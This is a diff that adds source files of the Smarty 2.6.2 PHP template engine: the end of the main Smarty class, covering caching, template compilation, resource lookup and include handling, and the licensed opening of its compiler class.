+ require_once(SMARTY_DIR . 'core' . DIRECTORY_SEPARATOR . 'core.rm_auto.php');
+ return smarty_core_rm_auto($_params, $this);
+ }
+ }
+
+
+ /**
+ * test to see if valid cache exists for this template
+ *
+ * @param string $tpl_file name of template file
+ * @param string $cache_id
+ * @param string $compile_id
+ * @return string|false results of {@link _read_cache_file()}
+ */
+ function is_cached($tpl_file, $cache_id = null, $compile_id = null)
+ {
+ if (!$this->caching)
+ return false;
+
+ if (!isset($compile_id))
+ $compile_id = $this->compile_id;
+
+ $_params = array(
+ 'tpl_file' => $tpl_file,
+ 'cache_id' => $cache_id,
+ 'compile_id' => $compile_id
+ );
+ require_once(SMARTY_DIR . 'core' . DIRECTORY_SEPARATOR . 'core.read_cache_file.php');
+ return smarty_core_read_cache_file($_params, $this);
+ }
+
+
+ /**
+ * clear all the assigned template variables.
+ *
+ */
+ function clear_all_assign()
+ {
+ $this->_tpl_vars = array();
+ }
+
+ /**
+ * clears compiled version of specified template resource,
+ * or all compiled template files if one is not specified.
+ * This function is for advanced use only, not normally needed.
+ *
+ * @param string $tpl_file
+ * @param string $compile_id
+ * @param string $exp_time
+ * @return boolean results of {@link smarty_core_rm_auto()}
+ */
+ function clear_compiled_tpl($tpl_file = null, $compile_id = null, $exp_time = null)
+ {
+ if (!isset($compile_id)) {
+ $compile_id = $this->compile_id;
+ }
+ $_params = array('auto_base' => $this->compile_dir,
+ 'auto_source' => $tpl_file,
+ 'auto_id' => $compile_id,
+ 'exp_time' => $exp_time,
+ 'extensions' => array('.inc', '.php'));
+ require_once(SMARTY_DIR . 'core' . DIRECTORY_SEPARATOR . 'core.rm_auto.php');
+ return smarty_core_rm_auto($_params, $this);
+ }
+
+ /**
+ * Checks whether requested template exists.
+ *
+ * @param string $tpl_file
+ * @return boolean
+ */
+ function template_exists($tpl_file)
+ {
+ $_params = array('resource_name' => $tpl_file, 'quiet'=>true, 'get_source'=>false);
+ return $this->_fetch_resource_info($_params);
+ }
+
+ /**
+ * Returns an array containing template variables
+ *
+ * @param string $name
+ * @param string $type
+ * @return array
+ */
+ function &get_template_vars($name=null)
+ {
+ if(!isset($name)) {
+ return $this->_tpl_vars;
+ }
+ if(isset($this->_tpl_vars[$name])) {
+ return $this->_tpl_vars[$name];
+ }
+ }
+
+ /**
+ * Returns an array containing config variables
+ *
+ * @param string $name
+ * @param string $type
+ * @return array
+ */
+ function &get_config_vars($name=null)
+ {
+ if(!isset($name) && is_array($this->_config[0])) {
+ return $this->_config[0]['vars'];
+ } else if(isset($this->_config[0]['vars'][$name])) {
+ return $this->_config[0]['vars'][$name];
+ }
+ }
+
+ /**
+ * trigger Smarty error
+ *
+ * @param string $error_msg
+ * @param integer $error_type
+ */
+ function trigger_error($error_msg, $error_type = E_USER_WARNING)
+ {
+ trigger_error("Smarty error: $error_msg", $error_type);
+ }
+
+
+ /**
+ * executes & displays the template results
+ *
+ * @param string $resource_name
+ * @param string $cache_id
+ * @param string $compile_id
+ */
+ function display($resource_name, $cache_id = null, $compile_id = null)
+ {
+ $this->fetch($resource_name, $cache_id, $compile_id, true);
+ }
+
+ /**
+ * executes & returns or displays the template results
+ *
+ * @param string $resource_name
+ * @param string $cache_id
+ * @param string $compile_id
+ * @param boolean $display
+ */
+ function fetch($resource_name, $cache_id = null, $compile_id = null, $display = false)
+ {
+ static $_cache_info = array();
+
+ $_smarty_old_error_level = $this->debugging ? error_reporting() : error_reporting(isset($this->error_reporting)
+ ? $this->error_reporting : error_reporting() & ~E_NOTICE);
+
+ if (!$this->debugging && $this->debugging_ctrl == 'URL') {
+ $_query_string = $this->request_use_auto_globals ? $_SERVER['QUERY_STRING'] : $GLOBALS['HTTP_SERVER_VARS']['QUERY_STRING'];
+ if (@strstr($_query_string, $this->_smarty_debug_id)) {
+ if (@strstr($_query_string, $this->_smarty_debug_id . '=on')) {
+ // enable debugging for this browser session
+ @setcookie('SMARTY_DEBUG', true);
+ $this->debugging = true;
+ } elseif (@strstr($_query_string, $this->_smarty_debug_id . '=off')) {
+ // disable debugging for this browser session
+ @setcookie('SMARTY_DEBUG', false);
+ $this->debugging = false;
+ } else {
+ // enable debugging for this page
+ $this->debugging = true;
+ }
+ } else {
+ $_cookie_var = $this->request_use_auto_globals ? $_COOKIE['SMARTY_DEBUG'] : $GLOBALS['HTTP_COOKIE_VARS']['SMARTY_DEBUG'];
+ $this->debugging = $_cookie_var ? true : false;
+ }
+ }
+
+ if ($this->debugging) {
+ // capture time for debugging info
+ $_params = array();
+ require_once(SMARTY_DIR . 'core' . DIRECTORY_SEPARATOR . 'core.get_microtime.php');
+ $_debug_start_time = smarty_core_get_microtime($_params, $this);
+ $this->_smarty_debug_info[] = array('type' => 'template',
+ 'filename' => $resource_name,
+ 'depth' => 0);
+ $_included_tpls_idx = count($this->_smarty_debug_info) - 1;
+ }
+
+ if (!isset($compile_id)) {
+ $compile_id = $this->compile_id;
+ }
+
+ $this->_compile_id = $compile_id;
+ $this->_inclusion_depth = 0;
+
+ if ($this->caching) {
+ // save old cache_info, initialize cache_info
+ array_push($_cache_info, $this->_cache_info);
+ $this->_cache_info = array();
+ $_params = array(
+ 'tpl_file' => $resource_name,
+ 'cache_id' => $cache_id,
+ 'compile_id' => $compile_id,
+ 'results' => null
+ );
+ require_once(SMARTY_DIR . 'core' . DIRECTORY_SEPARATOR . 'core.read_cache_file.php');
+ if (smarty_core_read_cache_file($_params, $this)) {
+ $_smarty_results = $_params['results'];
+ if (@count($this->_cache_info['insert_tags'])) {
+ $_params = array('plugins' => $this->_cache_info['insert_tags']);
+ require_once(SMARTY_DIR . 'core' . DIRECTORY_SEPARATOR . 'core.load_plugins.php');
+ smarty_core_load_plugins($_params, $this);
+ $_params = array('results' => $_smarty_results);
+ require_once(SMARTY_DIR . 'core' . DIRECTORY_SEPARATOR . 'core.process_cached_inserts.php');
+ $_smarty_results = smarty_core_process_cached_inserts($_params, $this);
+ }
+ if (@count($this->_cache_info['cache_serials'])) {
+ $_params = array('results' => $_smarty_results);
+ require_once(SMARTY_DIR . 'core' . DIRECTORY_SEPARATOR . 'core.process_compiled_include.php');
+ $_smarty_results = smarty_core_process_compiled_include($_params, $this);
+ }
+
+
+ if ($display) {
+ if ($this->debugging)
+ {
+ // capture time for debugging info
+ $_params = array();
+ require_once(SMARTY_DIR . 'core' . DIRECTORY_SEPARATOR . 'core.get_microtime.php');
+ $this->_smarty_debug_info[$_included_tpls_idx]['exec_time'] = smarty_core_get_microtime($_params, $this) - $_debug_start_time;
+ require_once(SMARTY_DIR . 'core' . DIRECTORY_SEPARATOR . 'core.display_debug_console.php');
+ $_smarty_results .= smarty_core_display_debug_console($_params, $this);
+ }
+ if ($this->cache_modified_check) {
+ $_server_vars = ($this->request_use_auto_globals) ? $_SERVER : $GLOBALS['HTTP_SERVER_VARS'];
+ $_last_modified_date = @substr($_server_vars['HTTP_IF_MODIFIED_SINCE'], 0, strpos($_server_vars['HTTP_IF_MODIFIED_SINCE'], 'GMT') + 3);
+ $_gmt_mtime = gmdate('D, d M Y H:i:s', $this->_cache_info['timestamp']).' GMT';
+ if (@count($this->_cache_info['insert_tags']) == 0
+ && !$this->_cache_serials
+ && $_gmt_mtime == $_last_modified_date) {
+ if (php_sapi_name()=='cgi')
+ header("Status: 304 Not Modified");
+ else
+ header("HTTP/1.1 304 Not Modified");
+
+ } else {
+ header("Last-Modified: ".$_gmt_mtime);
+ echo $_smarty_results;
+ }
+ } else {
+ echo $_smarty_results;
+ }
+ error_reporting($_smarty_old_error_level);
+ // restore initial cache_info
+ $this->_cache_info = array_pop($_cache_info);
+ return true;
+ } else {
+ error_reporting($_smarty_old_error_level);
+ // restore initial cache_info
+ $this->_cache_info = array_pop($_cache_info);
+ return $_smarty_results;
+ }
+ } else {
+ $this->_cache_info['template'][$resource_name] = true;
+ if ($this->cache_modified_check && $display) {
+ header("Last-Modified: ".gmdate('D, d M Y H:i:s', time()).' GMT');
+ }
+ }
+ }
+
+ // load filters that are marked as autoload
+ if (count($this->autoload_filters)) {
+ foreach ($this->autoload_filters as $_filter_type => $_filters) {
+ foreach ($_filters as $_filter) {
+ $this->load_filter($_filter_type, $_filter);
+ }
+ }
+ }
+
+ $_smarty_compile_path = $this->_get_compile_path($resource_name);
+
+ // if we just need to display the results, don't perform output
+ // buffering - for speed
+ $_cache_including = $this->_cache_including;
+ $this->_cache_including = false;
+ if ($display && !$this->caching && count($this->_plugins['outputfilter']) == 0) {
+ if ($this->_is_compiled($resource_name, $_smarty_compile_path)
+ || $this->_compile_resource($resource_name, $_smarty_compile_path))
+ {
+ include($_smarty_compile_path);
+ }
+ } else {
+ ob_start();
+ if ($this->_is_compiled($resource_name, $_smarty_compile_path)
+ || $this->_compile_resource($resource_name, $_smarty_compile_path))
+ {
+ include($_smarty_compile_path);
+ }
+ $_smarty_results = ob_get_contents();
+ ob_end_clean();
+
+ foreach ((array)$this->_plugins['outputfilter'] as $_output_filter) {
+ $_smarty_results = call_user_func_array($_output_filter[0], array($_smarty_results, &$this));
+ }
+ }
+
+ if ($this->caching) {
+ $_params = array('tpl_file' => $resource_name,
+ 'cache_id' => $cache_id,
+ 'compile_id' => $compile_id,
+ 'results' => $_smarty_results);
+ require_once(SMARTY_DIR . 'core' . DIRECTORY_SEPARATOR . 'core.write_cache_file.php');
+ smarty_core_write_cache_file($_params, $this);
+ require_once(SMARTY_DIR . 'core' . DIRECTORY_SEPARATOR . 'core.process_cached_inserts.php');
+ $_smarty_results = smarty_core_process_cached_inserts($_params, $this);
+
+ if ($this->_cache_serials) {
+ // strip nocache-tags from output
+ $_smarty_results = preg_replace('!(\{/?nocache\:[0-9a-f]{32}#\d+\})!s'
+ ,''
+ ,$_smarty_results);
+ }
+ // restore initial cache_info
+ $this->_cache_info = array_pop($_cache_info);
+ }
+ $this->_cache_including = $_cache_including;
+
+ if ($display) {
+ if (isset($_smarty_results)) { echo $_smarty_results; }
+ if ($this->debugging) {
+ // capture time for debugging info
+ $_params = array();
+ require_once(SMARTY_DIR . 'core' . DIRECTORY_SEPARATOR . 'core.get_microtime.php');
+ $this->_smarty_debug_info[$_included_tpls_idx]['exec_time'] = (smarty_core_get_microtime($_params, $this) - $_debug_start_time);
+ require_once(SMARTY_DIR . 'core' . DIRECTORY_SEPARATOR . 'core.display_debug_console.php');
+ echo smarty_core_display_debug_console($_params, $this);
+ }
+ error_reporting($_smarty_old_error_level);
+ return;
+ } else {
+ error_reporting($_smarty_old_error_level);
+ if (isset($_smarty_results)) { return $_smarty_results; }
+ }
+ }
+
+ /**
+ * load configuration values
+ *
+ * @param string $file
+ * @param string $section
+ * @param string $scope
+ */
+ function config_load($file, $section = null, $scope = 'global')
+ {
+ require_once($this->_get_plugin_filepath('function', 'config_load'));
+ smarty_function_config_load(array('file' => $file, 'section' => $section, 'scope' => $scope), $this);
+ }
+
+ /**
+ * return a reference to a registered object
+ *
+ * @param string $name
+ * @return object
+ */
+ function &get_registered_object($name) {
+ if (!isset($this->_reg_objects[$name]))
+ $this->_trigger_fatal_error("'$name' is not a registered object");
+
+ if (!is_object($this->_reg_objects[$name][0]))
+ $this->_trigger_fatal_error("registered '$name' is not an object");
+
+ return $this->_reg_objects[$name][0];
+ }
+
+ /**
+ * clear configuration values
+ *
+ * @param string $var
+ */
+ function clear_config($var = null)
+ {
+ if(!isset($var)) {
+ // clear all values
+ $this->_config = array(array('vars' => array(),
+ 'files' => array()));
+ } else {
+ unset($this->_config[0]['vars'][$var]);
+ }
+ }
+
+ /**
+ * get filepath of requested plugin
+ *
+ * @param string $type
+ * @param string $name
+ * @return string|false
+ */
+ function _get_plugin_filepath($type, $name)
+ {
+ $_params = array('type' => $type, 'name' => $name);
+ require_once(SMARTY_DIR . 'core' . DIRECTORY_SEPARATOR . 'core.assemble_plugin_filepath.php');
+ return smarty_core_assemble_plugin_filepath($_params, $this);
+ }
+
+ /**
+ * test if resource needs compiling
+ *
+ * @param string $resource_name
+ * @param string $compile_path
+ * @return boolean
+ */
+ function _is_compiled($resource_name, $compile_path)
+ {
+ if (!$this->force_compile && file_exists($compile_path)) {
+ if (!$this->compile_check) {
+ // no need to check compiled file
+ return true;
+ } else {
+ // get file source and timestamp
+ $_params = array('resource_name' => $resource_name, 'get_source'=>false);
+ if (!$this->_fetch_resource_info($_params)) {
+ return false;
+ }
+ if ($_params['resource_timestamp'] <= filemtime($compile_path)) {
+ // template not expired, no recompile
+ return true;
+ } else {
+ // compile template
+ return false;
+ }
+ }
+ } else {
+ // compiled template does not exist, or forced compile
+ return false;
+ }
+ }
+
+ /**
+ * compile the template
+ *
+ * @param string $resource_name
+ * @param string $compile_path
+ * @return boolean
+ */
+ function _compile_resource($resource_name, $compile_path)
+ {
+
+ $_params = array('resource_name' => $resource_name);
+ if (!$this->_fetch_resource_info($_params)) {
+ return false;
+ }
+
+ $_source_content = $_params['source_content'];
+ $_resource_timestamp = $_params['resource_timestamp'];
+ $_cache_include = substr($compile_path, 0, -4).'.inc';
+
+ if ($this->_compile_source($resource_name, $_source_content, $_compiled_content, $_cache_include)) {
+ // if a _cache_serial was set, we also have to write an include-file:
+ if ($this->_cache_include_info) {
+ require_once(SMARTY_DIR . 'core' . DIRECTORY_SEPARATOR . 'core.write_compiled_include.php');
+ smarty_core_write_compiled_include(array_merge($this->_cache_include_info, array('compiled_content'=>$_compiled_content)), $this);
+ }
+
+ $_params = array('compile_path'=>$compile_path, 'compiled_content' => $_compiled_content, 'resource_timestamp' => $_resource_timestamp);
+ require_once(SMARTY_DIR . 'core' . DIRECTORY_SEPARATOR . 'core.write_compiled_resource.php');
+ smarty_core_write_compiled_resource($_params, $this);
+
+ return true;
+ } else {
+ $this->trigger_error($smarty_compiler->_error_msg);
+ return false;
+ }
+
+ }
+
+ /**
+ * compile the given source
+ *
+ * @param string $resource_name
+ * @param string $source_content
+ * @param string $compiled_content
+ * @return boolean
+ */
+ function _compile_source($resource_name, &$source_content, &$compiled_content, $cache_include_path=null)
+ {
+ if (file_exists(SMARTY_DIR . $this->compiler_file)) {
+ require_once(SMARTY_DIR . $this->compiler_file);
+ } else {
+ // use include_path
+ require_once($this->compiler_file);
+ }
+
+
+ $smarty_compiler = new $this->compiler_class;
+
+ $smarty_compiler->template_dir = $this->template_dir;
+ $smarty_compiler->compile_dir = $this->compile_dir;
+ $smarty_compiler->plugins_dir = $this->plugins_dir;
+ $smarty_compiler->config_dir = $this->config_dir;
+ $smarty_compiler->force_compile = $this->force_compile;
+ $smarty_compiler->caching = $this->caching;
+ $smarty_compiler->php_handling = $this->php_handling;
+ $smarty_compiler->left_delimiter = $this->left_delimiter;
+ $smarty_compiler->right_delimiter = $this->right_delimiter;
+ $smarty_compiler->_version = $this->_version;
+ $smarty_compiler->security = $this->security;
+ $smarty_compiler->secure_dir = $this->secure_dir;
+ $smarty_compiler->security_settings = $this->security_settings;
+ $smarty_compiler->trusted_dir = $this->trusted_dir;
+ $smarty_compiler->_reg_objects = &$this->_reg_objects;
+ $smarty_compiler->_plugins = &$this->_plugins;
+ $smarty_compiler->_tpl_vars = &$this->_tpl_vars;
+ $smarty_compiler->default_modifiers = $this->default_modifiers;
+ $smarty_compiler->compile_id = $this->_compile_id;
+ $smarty_compiler->_config = $this->_config;
+ $smarty_compiler->request_use_auto_globals = $this->request_use_auto_globals;
+
+ $smarty_compiler->_cache_serial = null;
+ $smarty_compiler->_cache_include = $cache_include_path;
+
+
+ $_results = $smarty_compiler->_compile_file($resource_name, $source_content, $compiled_content);
+
+ if ($smarty_compiler->_cache_serial) {
+ $this->_cache_include_info = array(
+ 'cache_serial'=>$smarty_compiler->_cache_serial
+ ,'plugins_code'=>$smarty_compiler->_plugins_code
+ ,'include_file_path' => $cache_include_path);
+
+ } else {
+ $this->_cache_include_info = null;
+
+ }
+
+ return $_results;
+ }
+
+ /**
+ * Get the compile path for this resource
+ *
+ * @param string $resource_name
+ * @return string results of {@link _get_auto_filename()}
+ */
+ function _get_compile_path($resource_name)
+ {
+ return $this->_get_auto_filename($this->compile_dir, $resource_name,
+ $this->_compile_id) . '.php';
+ }
+
+ /**
+ * fetch the template info. Gets timestamp, and source
+ * if get_source is true
+ *
+ * sets $source_content to the source of the template, and
+ * $resource_timestamp to its time stamp
+ * @param string $resource_name
+ * @param string $source_content
+ * @param integer $resource_timestamp
+ * @param boolean $get_source
+ * @param boolean $quiet
+ * @return boolean
+ */
+
+ function _fetch_resource_info(&$params)
+ {
+ if(!isset($params['get_source'])) { $params['get_source'] = true; }
+ if(!isset($params['quiet'])) { $params['quiet'] = false; }
+
+ $_return = false;
+ $_params = array('resource_name' => $params['resource_name']) ;
+ if (isset($params['resource_base_path']))
+ $_params['resource_base_path'] = $params['resource_base_path'];
+
+ if ($this->_parse_resource_name($_params)) {
+ $_resource_type = $_params['resource_type'];
+ $_resource_name = $_params['resource_name'];
+ switch ($_resource_type) {
+ case 'file':
+ if ($params['get_source']) {
+ $params['source_content'] = $this->_read_file($_resource_name);
+ }
+ $params['resource_timestamp'] = filemtime($_resource_name);
+ $_return = is_file($_resource_name);
+ break;
+
+ default:
+ // call resource functions to fetch the template source and timestamp
+ if ($params['get_source']) {
+ $_source_return = isset($this->_plugins['resource'][$_resource_type]) &&
+ call_user_func_array($this->_plugins['resource'][$_resource_type][0][0],
+ array($_resource_name, &$params['source_content'], &$this));
+ } else {
+ $_source_return = true;
+ }
+
+ $_timestamp_return = isset($this->_plugins['resource'][$_resource_type]) &&
+ call_user_func_array($this->_plugins['resource'][$_resource_type][0][1],
+ array($_resource_name, &$params['resource_timestamp'], &$this));
+
+ $_return = $_source_return && $_timestamp_return;
+ break;
+ }
+ }
+
+ if (!$_return) {
+ // see if we can get a template with the default template handler
+ if (!empty($this->default_template_handler_func)) {
+ if (!is_callable($this->default_template_handler_func)) {
+ $this->trigger_error("default template handler function \"$this->default_template_handler_func\" doesn't exist.");
+ } else {
+ $_return = call_user_func_array(
+ $this->default_template_handler_func,
+ array($_params['resource_type'], $_params['resource_name'], &$params['source_content'], &$params['resource_timestamp'], &$this));
+ }
+ }
+ }
+
+ if (!$_return) {
+ if (!$params['quiet']) {
+ $this->trigger_error('unable to read resource: "' . $params['resource_name'] . '"');
+ }
+ } else if ($_return && $this->security) {
+ require_once(SMARTY_DIR . 'core' . DIRECTORY_SEPARATOR . 'core.is_secure.php');
+ if (!smarty_core_is_secure($_params, $this)) {
+ if (!$params['quiet'])
+ $this->trigger_error('(secure mode) accessing "' . $params['resource_name'] . '" is not allowed');
+ $params['source_content'] = null;
+ $params['resource_timestamp'] = null;
+ return false;
+ }
+ }
+ return $_return;
+ }
+
+
+ /**
+ * parse out the type and name from the resource
+ *
+ * @param string $resource_base_path
+ * @param string $resource_name
+ * @param string $resource_type
+ * @param string $resource_name
+ * @return boolean
+ */
+
+ function _parse_resource_name(&$params)
+ {
+
+ // split tpl_path by the first colon
+ $_resource_name_parts = explode(':', $params['resource_name'], 2);
+
+ if (count($_resource_name_parts) == 1) {
+ // no resource type given
+ $params['resource_type'] = $this->default_resource_type;
+ $params['resource_name'] = $_resource_name_parts[0];
+ } else {
+ if(strlen($_resource_name_parts[0]) == 1) {
+ // 1 char is not resource type, but part of filepath
+ $params['resource_type'] = $this->default_resource_type;
+ $params['resource_name'] = $params['resource_name'];
+ } else {
+ $params['resource_type'] = $_resource_name_parts[0];
+ $params['resource_name'] = $_resource_name_parts[1];
+ }
+ }
+
+ if ($params['resource_type'] == 'file') {
+ if (!preg_match("/^([\/\\\\]|[a-zA-Z]:[\/\\\\])/", $params['resource_name'])) {
+ // relative pathname to $params['resource_base_path']
+ // use the first directory where the file is found
+ if (isset($params['resource_base_path'])) {
+ $_resource_base_path = (array)$params['resource_base_path'];
+ } else {
+ $_resource_base_path = (array)$this->template_dir;
+ $_resource_base_path[] = '.';
+ }
+ foreach ($_resource_base_path as $_curr_path) {
+ $_fullpath = $_curr_path . DIRECTORY_SEPARATOR . $params['resource_name'];
+ if (file_exists($_fullpath) && is_file($_fullpath)) {
+ $params['resource_name'] = $_fullpath;
+ return true;
+ }
+ // didn't find the file, try include_path
+ $_params = array('file_path' => $_fullpath);
+ require_once(SMARTY_DIR . 'core' . DIRECTORY_SEPARATOR . 'core.get_include_path.php');
+ if(smarty_core_get_include_path($_params, $this)) {
+ $params['resource_name'] = $_params['new_file_path'];
+ return true;
+ }
+ }
+ return false;
+ }
+ } elseif (empty($this->_plugins['resource'][$params['resource_type']])) {
+ $_params = array('type' => $params['resource_type']);
+ require_once(SMARTY_DIR . 'core' . DIRECTORY_SEPARATOR . 'core.load_resource_plugin.php');
+ smarty_core_load_resource_plugin($_params, $this);
+ }
+
+ return true;
+ }
+
+
+ /**
+ * Handle modifiers
+ *
+ * @param string|null $modifier_name
+ * @param array|null $map_array
+ * @return string result of modifiers
+ */
+ function _run_mod_handler()
+ {
+ $_args = func_get_args();
+ list($_modifier_name, $_map_array) = array_splice($_args, 0, 2);
+ list($_func_name, $_tpl_file, $_tpl_line) =
+ $this->_plugins['modifier'][$_modifier_name];
+
+ $_var = $_args[0];
+ foreach ($_var as $_key => $_val) {
+ $_args[0] = $_val;
+ $_var[$_key] = call_user_func_array($_func_name, $_args);
+ }
+ return $_var;
+ }
+
+ /**
+ * Remove starting and ending quotes from the string
+ *
+ * @param string $string
+ * @return string
+ */
+ function _dequote($string)
+ {
+ if (($string{0} == "'" || $string{0} == '"') &&
+ $string{strlen($string)-1} == $string{0})
+ return substr($string, 1, -1);
+ else
+ return $string;
+ }
+
+
+ /**
+ * read in a file from line $start for $lines.
+ * read the entire file if $start and $lines are null.
+ *
+ * @param string $filename
+ * @param integer $start
+ * @param integer $lines
+ * @return string
+ */
+ function _read_file($filename, $start=null, $lines=null)
+ {
+ if (!($fd = @fopen($filename, 'r'))) {
+ return false;
+ }
+ flock($fd, LOCK_SH);
+ if ($start == null && $lines == null) {
+ // read the entire file
+ $contents = fread($fd, filesize($filename));
+ } else {
+ if ( $start > 1 ) {
+ // skip the first lines before $start
+ for ($loop=1; $loop < $start; $loop++) {
+ fgets($fd, 65536);
+ }
+ }
+ if ( $lines == null ) {
+ // read the rest of the file
+ while (!feof($fd)) {
+ $contents .= fgets($fd, 65536);
+ }
+ } else {
+ // read up to $lines lines
+ for ($loop=0; $loop < $lines; $loop++) {
+ $contents .= fgets($fd, 65536);
+ if (feof($fd)) {
+ break;
+ }
+ }
+ }
+ }
+ fclose($fd);
+ return $contents;
+ }
+
+ /**
+ * get a concrete filename for automagically created content
+ *
+ * @param string $auto_base
+ * @param string $auto_source
+ * @param string $auto_id
+ * @return string
+ * @staticvar string|null
+ * @staticvar string|null
+ */
+ function _get_auto_filename($auto_base, $auto_source = null, $auto_id = null)
+ {
+ $_compile_dir_sep = $this->use_sub_dirs ? DIRECTORY_SEPARATOR : '^';
+
+ if(@is_dir($auto_base)) {
+ $_return = $auto_base . DIRECTORY_SEPARATOR;
+ } else {
+ // auto_base not found, try include_path
+ $_params = array('file_path' => $auto_base);
+ require_once(SMARTY_DIR . 'core' . DIRECTORY_SEPARATOR . 'core.get_include_path.php');
+ smarty_core_get_include_path($_params, $this);
+ $_return = isset($_params['new_file_path']) ? $_params['new_file_path'] . DIRECTORY_SEPARATOR : null;
+ }
+
+ if(isset($auto_id)) {
+ // make auto_id safe for directory names
+ $auto_id = str_replace('%7C',$_compile_dir_sep,(urlencode($auto_id)));
+ // split into separate directories
+ $_return .= $auto_id . $_compile_dir_sep;
+ }
+
+ if(isset($auto_source)) {
+ // make source name safe for filename
+ $_filename = urlencode(basename($auto_source));
+ $_crc32 = crc32($auto_source) . $_compile_dir_sep;
+ // prepend %% to avoid name conflicts with
+ // with $params['auto_id'] names
+ $_crc32 = '%%' . substr($_crc32,0,3) . $_compile_dir_sep . '%%' . $_crc32;
+ $_return .= $_crc32 . $_filename;
+ }
+
+ return $_return;
+ }
+
+ /**
+ * unlink a file, possibly using expiration time
+ *
+ * @param string $resource
+ * @param integer $exp_time
+ */
+ function _unlink($resource, $exp_time = null)
+ {
+ if(isset($exp_time)) {
+ if(time() - @filemtime($resource) >= $exp_time) {
+ return @unlink($resource);
+ }
+ } else {
+ return @unlink($resource);
+ }
+ }
+
+ /**
+ * returns an auto_id for auto-file-functions
+ *
+ * @param string $cache_id
+ * @param string $compile_id
+ * @return string|null
+ */
+ function _get_auto_id($cache_id=null, $compile_id=null) {
+ if (isset($cache_id))
+ return (isset($compile_id)) ? $cache_id . '|' . $compile_id : $cache_id;
+ elseif(isset($compile_id))
+ return $compile_id;
+ else
+ return null;
+ }
+
+ /**
+ * trigger Smarty plugin error
+ *
+ * @param string $error_msg
+ * @param string $tpl_file
+ * @param integer $tpl_line
+ * @param string $file
+ * @param integer $line
+ * @param integer $error_type
+ */
+ function _trigger_fatal_error($error_msg, $tpl_file = null, $tpl_line = null,
+ $file = null, $line = null, $error_type = E_USER_ERROR)
+ {
+ if(isset($file) && isset($line)) {
+ $info = ' ('.basename($file).", line $line)";
+ } else {
+ $info = '';
+ }
+ if (isset($tpl_line) && isset($tpl_file)) {
+ $this->trigger_error('[in ' . $tpl_file . ' line ' . $tpl_line . "]: $error_msg$info", $error_type);
+ } else {
+ $this->trigger_error($error_msg . $info, $error_type);
+ }
+ }
+
+
+ /**
+ * callback function for preg_replace, to call a non-cacheable block
+ * @return string
+ */
+ function _process_compiled_include_callback($match) {
+ $_func = '_smarty_tplfunc_'.$match[2].'_'.$match[3];
+ ob_start();
+ $_func($this);
+ $_ret = ob_get_contents();
+ ob_end_clean();
+ return $_ret;
+ }
+
+
+ /**
+ * called for included templates
+ *
+ * @param string $_smarty_include_tpl_file
+ * @param string $_smarty_include_vars
+ */
+
+ // $_smarty_include_tpl_file, $_smarty_include_vars
+
+ function _smarty_include($params)
+ {
+ if ($this->debugging) {
+ $_params = array();
+ require_once(SMARTY_DIR . 'core' . DIRECTORY_SEPARATOR . 'core.get_microtime.php');
+ $debug_start_time = smarty_core_get_microtime($_params, $this);
+ $this->_smarty_debug_info[] = array('type' => 'template',
+ 'filename' => $params['smarty_include_tpl_file'],
+ 'depth' => ++$this->_inclusion_depth);
+ $included_tpls_idx = count($this->_smarty_debug_info) - 1;
+ }
+
+ $this->_tpl_vars = array_merge($this->_tpl_vars, $params['smarty_include_vars']);
+
+ // config vars are treated as local, so push a copy of the
+ // current ones onto the front of the stack
+ array_unshift($this->_config, $this->_config[0]);
+
+ $_smarty_compile_path = $this->_get_compile_path($params['smarty_include_tpl_file']);
+
+
+ if ($this->_is_compiled($params['smarty_include_tpl_file'], $_smarty_compile_path)
+ || $this->_compile_resource($params['smarty_include_tpl_file'], $_smarty_compile_path))
+ {
+ include($_smarty_compile_path);
+ }
+
+ // pop the local vars off the front of the stack
+ array_shift($this->_config);
+
+ $this->_inclusion_depth--;
+
+ if ($this->debugging) {
+ // capture time for debugging info
+ $_params = array();
+ require_once(SMARTY_DIR . 'core' . DIRECTORY_SEPARATOR . 'core.get_microtime.php');
+ $this->_smarty_debug_info[$included_tpls_idx]['exec_time'] = smarty_core_get_microtime($_params, $this) - $debug_start_time;
+ }
+
+ if ($this->caching) {
+ $this->_cache_info['template'][$params['smarty_include_tpl_file']] = true;
+ }
+ }
+
+
+ /**
+ * get or set an array of cached attributes for function that is
+ * not cacheable
+ * @return array
+ */
+ function &_smarty_cache_attrs($cache_serial, $count) {
+ $_cache_attrs =& $this->_cache_info['cache_attrs'][$cache_serial][$count];
+
+ if ($this->_cache_including) {
+ /* return next set of cache_attrs */
+ $_return =& current($_cache_attrs);
+ next($_cache_attrs);
+ return $_return;
+
+ } else {
+ /* add a reference to a new set of cache_attrs */
+ $_cache_attrs[] = array();
+ return $_cache_attrs[count($_cache_attrs)-1];
+
+ }
+
+ }
+
+
+ /**
+ * wrapper for include() retaining $this
+ * @return mixed
+ */
+ function _include($filename, $once=false, $params=null)
+ {
+ if ($once) {
+ return include_once($filename);
+ } else {
+ return include($filename);
+ }
+ }
+
+
+ /**
+ * wrapper for eval() retaining $this
+ * @return mixed
+ */
+ function _eval($code, $params=null)
+ {
+ return eval($code);
+ }
+ /**#@-*/
+
+}
+
+/* vim: set expandtab: */
+
+?>
--- /dev/null
+<?php
+
+/**
+ * Project: Smarty: the PHP compiling template engine
+ * File: Smarty_Compiler.class.php
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this library; if not, write to the Free Software
+ * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
+ *
+ * @link http://smarty.php.net/
+ * @author Monte Ohrt <monte@ispi.net>
+ * @author Andrei Zmievski <andrei@php.net>
+ * @version 2.6.2
+ * @copyright 2001-2004 ispi of Lincoln, Inc.
+ * @package Smarty
+ */
+
+/* $Id: Smarty_Compiler.class.php,v 1.1.1.1 2006/03/27 14:44:14 cscott Exp $ */
+
+/**
+ * Template compiling class
+ * @package Smarty
+ */
+class Smarty_Compiler extends Smarty {
+
+ // internal vars
+ /**#@+
+ * @access private
+ */
+ var $_folded_blocks = array(); // keeps folded template blocks
+ var $_current_file = null; // the current template being compiled
+ var $_current_line_no = 1; // line number for error messages
+ var $_capture_stack = array(); // keeps track of nested capture buffers
+ var $_plugin_info = array(); // keeps track of plugins to load
+ var $_init_smarty_vars = false;
+ var $_permitted_tokens = array('true','false','yes','no','on','off','null');
